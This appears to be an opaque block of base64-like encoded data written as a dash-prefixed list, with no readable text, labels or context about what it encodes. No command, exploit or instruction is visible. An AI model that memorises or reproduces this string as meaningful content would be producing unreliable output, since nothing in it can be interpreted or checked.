- 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
- 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
- lGmj1OZ/+wf+p3/hr/pv/89/4W/8W/58MqH/5//4f//df+cf+L/93//nr/8P/vb/59H//fJ//Vf/wX//
- d/nff/X/9eN3fvfml/6T/+BP/89//f/9y3//X/XH/t9/z//9n/we//wf+M+Tr/vv/V///F/wf//H/+H/
- +Xv833/+7/G//Kf/I3mPv+L3+NV3t//vP+b//t/+zl8FM/7Lv/zV//jv/38s/u9/6D/8VYe0PParf5f/
- 47/9v777D/6H/+vd/+vPJ5X9F/4p//cP/sFf+bv8H7/47/+z/6/P/u//lTD/pZQq+O9JO/7ff/k/+D/8
- SsLnr/y//6ff/38jP+Sf/hv/rz/6D6TY/e8iR+EP/Qd/8Pv+n3/l1f/9T/2r/+F//Hv8n6//QMpYk4r5
- v/+C//CX/I3/2//4f/2z/8nV//HX/l//KGXv/4T/+7/9Fx/937/1H/hv/f6/7I+kkf6Lv/+v/v3/j7v/
- 7f/9v/2N/8ev/Tf+Hv/3g7/iH/wn7v7vn/yBf/8f+N9f/NJ//Pe/+uz/+mX/9//5r/+PfzOZ2d/k//4X
- /vOPP/8Pf9V/9Sc++r//z//lL6Q17f/5b6Sp+ed/j//z7/zVv/Uf+K8gjFge/oH/xD96Ran4v/9//6/+
- zV/9V/8e//vv8n8Ql1Oo+OX//a/9jb8MJv9/JcH9P37t//s//t9+l3/7//oj/8D/85/+C/+vf/ef+7//
- dOSO/ss/8Ffd/d9/3f/7v/jf7t75A//83//t//In/h///h/4P/9fv8cv//X/h//z3/4nKYVHhPvXf4/V
- r/hN/89//++lbPqv/g//z//oD/zftv/vP/8//E8f/G//6cU/+H//Lr/8r/y/z/7Af4Kcqce/+nemFd6L
- //N7/8ef+X//z7+i+l/+xv/rd/6//8tf9t/8i3/O//Un/t+/4i+k8OQ3Jwn91b/+/3nxD/7yv/H/XPxf
- f8X//Z/8Lr/qj/0T/sD//U9Fmuv/+Pt/j+X/8VfSOtiv+v1/2ecU8Pw3D/5u0mi/3v/9T/z+v/h//j//
- w//uP/w/7h/933/l//VH/IP/3X/3b/6q3/n/+r9+j5+5/pn/+X/8P38Hclj/l9/2//47SS7/z+/+zL/+
- f/z4H/jf/v6/6nv/x99KIQJ5+H/jH/h//42/6vf/nf+vf+ZPJM/4V//jf+CvOv9ffv9/4Bf/in/x+f/1
- 1/8e/9sf+IP/6w/8v37Tf/Cf/R//93/2z/n9f/WDn/o//s3f9H/9a//Av/1//2d/6V9Py7f/5x/xn/6B
- /9Nf+gf+Vw/+j+/+0r/3H/yv/8Jf/Q+SX/O//LcUHv/bv8sv+wP/LxLGP/BX/YH/55/wf/8Hf+gf+B//
- i7Sg/Pf9gf/T3V999//6c3+P//7ur/rqF/+B/0f1f/0en/2fr/+vP/kf/K8e/Krml/6PlFX7P/7O//tP
- /g9/2X/8e/xvf+L/dfIP/gd/4y/5P3/H/+NXkOf4fzz4P/54cqh+xeHv8n//hn/g//UfUl7z7/gP/8+/
- 9P/6c//B//b//r/+j7/y7/ylf2n19/9f//ov/gP/md/jV/6G//ff/vv/t3/hr/7zSaP/N7/H/344/r//
- 5N+/Iufrt/6//73/8X+hLN0f+3//Z//jL/k/PqZVKfIY/ktaiPsP/oXf5eH/9df/qf/r3/vb/oH/2P/9
- v/6zv/Sv/EP/x//jf/tt/++f+lXfo9jh8lf9jf/Xn/uL/8FfTStR/+T4u1jZ/5n/7d/+lf/3H/0X/h+/
- 4v/69+/+X+T2PaAE4z/2B/7Kv+Z/+/v/wH/7P6SY+i8lt+N/u/jJP/Cf+wv/l7/xv/gH//e/81d///cn
- Bf4P/f2////xq/+vv/MuLcn9b7/6//71/sc/43/8pX/sH/hX/u/b/9cf/fv/6v/w9/k/fun//Z//j//z
- P/h//jl/4P/xP/6qf/L/+E1/0//rn/wD/5O/kpiE1pT+6v/7H/kff+Wv/vv/jz/3l/69/+F//uW/93/+
- 4v+L2OS/efB//9PVr/wn/6/f+g/89//9z/9DWrr/pX/rL//Pf9vf/9/4B/+H//B/v/q/fuE/SIsX1X/2
- D5Le+4d//+b/vvur/1Xyaf+HP/B//1tJWfwnf+D/+Z/c/dX/5f/1N//+6//xV/6+/8ef/Q/+n7/H//Tb
- /t9/x1/6e/zn/+L/9tf/X3/DH0hs811i5v/0yz/v//y7/8D/4L/8XfLf45f9jv/Xf/J7/DKyr//XH0wh
- 9P928n/98//hf/cvUnr2D/6//+N/+Q/8FX/m/0Gu59/4K//F//uz//D//kP/r7/mr/0P//P/63/8+3/m
- V/yJj//eX/bn/h//6v/93//Kf+P//nd//1/+P/73/9fuP/iv/oM/+N/+2v/rr6MVxX/3V//T/+LfQEtU
- tEhW/V9/4m/7B/5n/+Qf+R/+77/lH/if/qu0ZnF1/b/9N//m/9380j/zP/xfftt/4z/9Z//v/+Lv/B5h
- 8i/8D//ZX/oH/uovf9UhZT1/9W/6qygi/XP/z1/5D/7nv8ef8if8X3/uv/oH/m//03d/yf/9jujyy/7v
- /+3f/z//7192RQsFf+nv/0t/5cf/4//9g//7n6E1+t/jv/htaU32/7pLFvhv/T0oXPjH/8B/8v/+ff/F
- 3+NXrf+YP/BX/qb/d/N//RO//3/6e/zvv+X/9bf//v/n4f/5D/yD//rv/8v/xb/vV/0nV6Qp/+9f+Af+
- x6SKf+aX//r/95/yD/4XD+7+fv/XX/AP/md/56/+R3/T/+vv/R//j+r//j//2N//f/4H/8G3//d//wf+
- SrJv/8P/8Sf/gf/MX0pu9v/2y/6BX/EHHv3fv8fvQbnc//xv/L/+mt/2D/xX/+VfRutk//ff/xf837/8
- 9/iV/+Pf8OXfSRmC/+wf/vL/+Pe/+3//C7/Lr/4Hf49/4T/8B/6+X/ln/o3/9x/+B/5tv+p3+b/+0T/w
- P/k9/vdfQWFP9b/8d9/9v//M3+NXffl//NG/Ptma//C//i5l7P7JinKf0z+Qki5kt//+f/C//A//rl/2
- R/4flNP7lf/3//V//Y2/8nc8+r9+3X/wH/1v/s7/+4/+Dynm/mP/gV999X/9h3/gP1z9g//n7/9//sQ/
- +A//hb/87/0/fsN//B/8Vf/7f/ir/sff///87B/8N//B/+Wv/CWkcn7jv/Z//D//ud/lf337f/7tf2Dz
- y/7rivL7f+Vv+n/9u//1H0hezG/zB/5jd/9tWt34s3+P//S3/Qte/AO/7K/8P8eUlvrV//P/cvW//ZH/
- 15//H/6X//Y/+L987//8/N/9D//3f/f/+lf/9f/g9/jf/9q/4//+z/+XX/m//x6/9K/9A//T//73+JV/
- 5H/wf375f/3Ff+Gv+iX06b/8D/5LJLq/+n+kjMqf/uv/3//J7/8rDv+vv+Uf/GW/9H/+H/+vv+X3+N+/
- /FV/6u/3+/3f/+Qf+J//h7/8v/uV7375L//Fv+q//Af/m9//f//+//0//oH/7e/yv//Ov/TP/w8pT/aL
- KU3wv/6H1//H2//zf/9j/0Fagv/7/+8/Cx75P/k/knr+l//a//A//jt/1X/1B37n//57aaX/fzt58T/+
- X//uH/iP/S7/x6/+P369P/Cf+AdpreYv+P3/r/+WVoJ/7V/6X/yP/8c//rv8nz/2D/6Kv/CXX/x+/9fd
- f/Df/F3+rf3/+7+hhOFfQAsB/+b/+D/99f929X/9jv/Xf/gP/i//46/6Tf+vf/a//Af/r3/w//z1/69f
- /vtf/4//5uPqHyCx+2v+wP/xewj5f/H/vf6/KX/43/yF/9u/+3/9QXDg/+nf5f/+v36PX/0v/p//xP/9
- z/6qf5CU4Md/4L/2B/45//f/fPf/+qP+w5/5H3/T//3H/8D/8/d/939RsHrv//5Pf49f/m/+6ov/8f/4
- tf9UWn4kB+cf/D//2v/7j/v9m//99/+/fylFgWSK/sp/8Ff/r3/g0f/1R/+F//v/8nv8n/9X9T9Vv9//
- 9Wf+g//kH/grftv/85+r/pf/6sH/3vwutL70H1e///919Qf+U7/L//0n/gv/97/9X/+N/9ff9tn/fv//
- /lv/wV/+p/7+/+Ov/r//rT/2D/yv/s3/+2/8v/7kP/C//x//73/9H5z933f/z//tb/wPf5f/+6/5v/+b
- v/Z//vf/w//p9/g/fsP/65+9oFCCTNm//Sv+wf/5N/y//uXf43/8/cl6/GP/6H/4n/6L//s/+n/9mX/9
- 7/9f/sr/45//v/+kjylR9yt+/z////pf/sk/8D/6D/8X8sd+j//73/s9/ocvycD8z78L2fVf9oASZ7So
- 8X//0f/Jd/+PP+UfpFj+N/4D/9Xf47/8t//AX/kn/h//9D/4v/+Tf+cv/WP/wf/59/8//tFf+tf/g/9z
- ReH03/P3/oP/0+/xq37TX/Yf/k8f/9//7V/75x/+Hr/iv/w/fuwP/AP/57v/x//23zz4mV/9vf/jF1b/
- 95968Qf+K//hr/4f/++r//uf/B9/xV/4P1K8/G/+h7S48t//gZQh+Rd/5lc9+L9+yR/4j/+Ff/7f/6t+
- 9b/zH/7H/+T//a//h/8R5ZL+wf/93/wDf/nrf/B/+Nfv/u8NrSL9l//ir/pv/6+/8l8kJ+YvJ4X/f355
- l3TC//Xv/uWUpPrlH//fn/+mlBj7L//du3/gL/sH/7Pf43//U3/pv/kH/tfV//l//In/N0VCf+jv8b/c
- /b9+/P/6U/7vX/Kr/tv/46/5S//A//Wf/mv/w/+Bckn/6z/5vX/wX6z+p9/jZ37l6pf/q//gf/EP/vJf
- ///8I//A7/4vv/7/9TmJ5P/58S+llOqPf/wHvvtVv5pWT/7h3/9//y5Zsv/pP/xl/+K//n//r//h//pf
- /9+/ihIf/+Gv/nv/hf/rf/gP/4e/8v/+4/7B3+PP/r9+vb/x//pL/u27tIb+K/7B7/8f/8z//b//LrT6
- 8kf8gZRV/if/7z/ty//7f/4DL//Pf/P//nv/2f/+v/4T/8B/7//4xf/3P0/M83/9B//gv/q7/F9/5//1
- 7/4e/9fv/3/+o//gP/kX/oo/s/o//5rfg1yMH/+//7Hf41f9T7//r773B/69v8f/8W/+3/f/77/j9//V
- fydh8K9S6vv/+kP/r3/2H/yff9P/8x/8O/7Vf/WP/Q9/+f/23/yNv/pv/L//h//wf/4z/49f8gf+o1/+
- 3//K7//LvqR5+l/+w2//33/+7//f/mf/5B/4y37///vqF/yf/+mv+jf+7d/jf/ny8f/1f/6BtNL6P/yB
- v/Kv/D8v/8H/4lf9gb/qX/y/1//j//WH/4d/4P/yL/6f/9k/+L/9g//H2f/9q4jiF//3X/n7/8p/8Vf9
- o/8ime//7Lf9P+/+gf/Rz/yX1ff/r9//H/yvfo+f+V+nf+B//g/+n//17/8r/sO/8ff7P//UP/C/viAd
- +n//kf/Xv/LdX/8P/Kf/XXL3ftXr/+vf/w//5we/lCD+Bf8gZYQ//7//91/2D/5H//Tv8b/8L7/pr/oV
- /8Iv/UsP/8H/5O/83//eX/q3/uo/8J/6Z//v//2//wN/2f/5P/6b/+H//Z9Spvb3/1//3F/6f138X//1
- /73+n//Tf/D/vPur/8L/+3//D3/Zv/8v/h/F//3f3P0/fhfimf/tL/zsz/u///x/8A/4X6/ukmf5P//+
- 1//rH0sLi7/qb/zff6/v/t//ePUr//Pf/5fd/SX/F+XqKDn2vx7+37/+L/71/8F/4g/8v/7J/3v7P/y/
- /1ZawvwVv/J///V/l//zL/09fsXb//N3+L//m//x//5N//O/9ff/v39/cob/hP/7P/1Lf///5a/8v//o
- //tf+K//zqv/62/8B/+7q19V/d//1u//3/6Vv/Qf/k/+w//z3m/6f/+3xPNf/l+//3f/wJf/y+Ff/3/9
- Lf/1//i3/2/b/9e/U/3fv88/+B+QYvwb/7c/+z/8FXf/77f/1y//B//H3+P/+uSfoTTab/9L/tf/6B/8
- P/6T3//3pzXl/+Yf/L//+f/7//w3yWj/T3/j//37/N//5+//f/ym/+dh9X/9R//hf/0H/h+/7f/1X/83
- X/6qX/E//B/b/+A/8T/e+9//5t+Dctef0FL2//A//u+H/9d/8Tf+gv/gV/+tfyAlV37l//nFX/mn/oH/
- 0S/+XX7J//5H/h//xa9P1Pq/Kgpa/+G/9sv/63/7A/+T//B///3/wH/4H/x9yTz+rxSM/YG//O7/uf3X
- /vJ/8H//H/9LMgp/4D//N/6ff+H/+ef8s//3L/sP/57//Vf/338bZTL+N1q//h//r7/hj/wDf9nf+OIP
- /JV/4P/6V/5f/+N/+N//pn/B/3X2J/6Fv4ASCf/SP/ir7v3f/9T/+H/9m//nv/UP/qo/8/8a/4H/xn/4
- f179X3/Nl//Nv/h//ce///987//+h+7+qv/rf/xf/qff/x/83/5cyhr9fb/qT6R82nf/zz+UfI9f/uv/
- vuTA/2PEq//nP/8H/se////+N/7fDyiX9qv+wP/rJ/7A/+NP/T3+o1+fzNYv+d9/5f/9K8hf/ZWH/+dP
- /IX/x//4D/6z/+Gv/k3/z4e/7Xf/wF/+P/7P3/s/f+wP/Kf+x//z3yQl9X/9Hv/Tn/h//rd/4L/zJ/7f
- l//3v/q//of/x9/5f/7VZFopM7L7D/7Hv8ev/gf/jz/h9/if/9hf+g//h+3/+Df+n//o//Xv/LG//395
- 9//6nX/yH/yf/68/8Ff+tv/Xv/J//h73/u9f92/9B//rL/+vf/T3/31pzfZf/w9/+d/5N/zSX/2X/h5/
- ze/8S8hiNX/gH/irfv3/8//8p+/+0p/65ygF/z+Tz/d//wu/+Ff/g/8GJXr/77//X/9Tf49f9W/+6t/5
- //5b/u3/8O//P3+PX/J//7a0GPNP/4V/7//92/6ff/H//b+T6/F7/B/f/W3+b1os+c9/j09/1Z/5S//4
- 33/6f/zX/+H//tf/h//n7/+rfsPx//2H/f6/7PAf/A//wV/5V/6S//uf/AX/51tSMP/z30v5nX/jLrmq
- f+Ln//e//jf+yn/2l/7L/8v/+H/+u//3P/IPUk7lL/wD//5/MP9vf9P/8+//v/6Mf/w//FV/4v/xU3/g
- v/0H/l//3X/4v/+OlH/7v//B/+Pf+G9+23/+//prf4//5u7/ufgL/v7/7W/9v//Y//BX/NP/x+/x7/2q
- 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
- /df9h//d7/9//4W/y//1/c//wX/yb/wV/+df+L/9i//XX/V7/Mpf+ff/33//H/jf/YG/+gta+/nfr2h5
- 5f/8H/+Pv/v//o9/j1/8f/z1f+Cv/Bd/n//7v/4D/5s/8//+lb////S9//tf/wP/tX/w//gj/49/5x/8
- P//HX/0v/t9/KfmJv/K//w//zz/z//yLKdXwK/7Bf/Do//pbaTh/19/7f/3pf+A/+Qf+8iuawH/+X/w/
- fpNf+X/9Axe/6j+v/qcv/69f9w/8D//H//MX/5+/9R/4X/2Nv/Lv/D/+ir/wD/w/rijHevm9//Mv+Pgf
- /N9/+f/4f5/+gb+8+r//7d//f/n1yRX/n/7Ge3/Pr/5n/68/7h/8bz/+v37VH/ifP/g//9n/68//A//H
- v/NXf/Z//f3/4f/0Z/6ffwF5cP/7f/0H/t//1+j//D//7//kH/xl/9Nf+H/+ln8gLeB89n/9N3/iH/hf
- /8d/4//9L/7M/3r3//h9aH3sl/2Gv/Q//QP/o9/jl/yqf/L//Bv+7//k7/yl6//lf0fY8sv/R1pk/eP/
- 3r/2wf/9H3z5V/7f/+kv++9+U/Lp/sg/8Ff+h7/69/+/fvn//Z/8dyQ8v+sf+Mv+QAoLDv/B//X3/7//
- xv/77Hv/Isnaf/xv/t9//P/9F/+3f+Av+/JX/+v/979R/c+/+v/+SXLCaRXv3/s9HpBT86v+96u/63/7
- B/9v0u5/5v/x+f/9X3/3T/y//ou/9l//H3/57/LlX/B/7f6B+ffI3f6faK3+V/6DtMjwl/7f/+zv8r88
- +L9/w//7f/m//9df///8a/7v//1/pDTEH/97/M+/7Pf4i/633/Iv+L//nH/wP/vu//0n/9//B61BUpRN
- nP77/IH/291f9Tf/6j/2//7v/8b//b/9pX/kP/oH/rIH//c/+N0/8F/4H3/Z7/V//Xv/4Ntf+Wf+H3/O
- P/hP/IP/2+/yD/7q71NSjFyqf/E//Qf/4+r/+nP/77/zf/5rf4//5K/9AynyuEei8Q/+qn/z/2x+///r
- F1/9gf/mr/8H/if/4/85/QP/xT/wl33yf/8d/+D/+NvSl7/s//y/yRn6F/63v/P/vPtL//X/m+KCv+U/
- /C/+3X+QTNX/+r9W/9vv+H//D7/Hr/xj/9j/kLTYL/6//4Hf5f/+4v/+9//ef/CX/S7/5y//E0ka/to/
- 8Ff/sf8j8RGtIf6p//d/8W/8jb+C1OS/+3//SRTo/t//5y/9W6/+73/i7m/3f/62f+C/XhFb/Cv/x5/5
- f/w2//e//Tde/R9XP/Pf/rv/4L/+5//+f/Mv+yf/r//0F/+D/+jv8is+/xdp5P/H9/5VCvz/9d/l//rz
- f4//8u6vnv7ffwlFh//3v/Yf/vfV//nFL/0/aS7+ekpW7P3fv+kv/XP/7//twf/2X/+H/8uf+L/9q+R8
- /1//8V+496t+0//7b/hH/+9f9X//b7/p//Xv/YG0IPCb/t9/zn/4f375q3/1H/jX/4P/0z/4f/2dv/S/
- /b//i7/xf/93KS+4/NW//Pf/v//83+//fETR8l/55vf4n//KX/B//Y5/4P/6P/5f/8k//vv/L7/jf/9/
- kKv/F/7y33/79/u//uh/8J/8b/5HStz+0f/jL/nVZG7/x//zt//9/7n/6z/4Ny8Ig7/v//zyL7/7f/1v
- vwetdf+h/9cfdUi27Zf9Hr8HrZ8R6v/RL/s9/rPv/al/5T9d/f2/9/99+Q/+4Bf9L9/7mf/l4v4/+F/+
- +b/t//2//x60zv67/P5kB/793/9//xP/7y9/8f/9L//fv/w3/Z1oyeKXP6A0+19Byc7/+y/7D//X//FX
- //H/15/8p/77//f0f/0r/4/f+t+kbMUvv/i//5zf5Xf+JRTX/I6/9F/9A/+LP/OX/JfVr/5P/8C//v/+
- r37xP/h//4G/4t/9P/+Nf/B/+03/t//5T/ylf+4f+wf+Rb/qkIzxH/jf3/2//vL/+x/5r//H3/+/+79e
- /+o/8J/+a//E3////hv+wX//L/wVFz/z31bfobWl//TfJTH+X379//Ov/Kf/7//pD/yMvPN/8P/4C//P
- v/ef/xt/9dX/+Uf/hf/3f/Av/l//+v/4fx5e/Sm/B60c/5//5f/x+p/8+Jf9gbRo/if+3//6//h/f/Ur
- fpf/5U8kDfuf/R7/2+dHv+qf/2V/4P/+b/7vf+T/9Z/9h//D3f/j7u/yf/7q//p3+T/+TVrx/pdp1ee/
- /T+2KU9Nk/TL/sD/+zf9A//Ff/H/+N/+x//1n/2/KF/y3/2D/9ev/Nv/wH+h+gf/j7fnv+wP/FX/5v/2
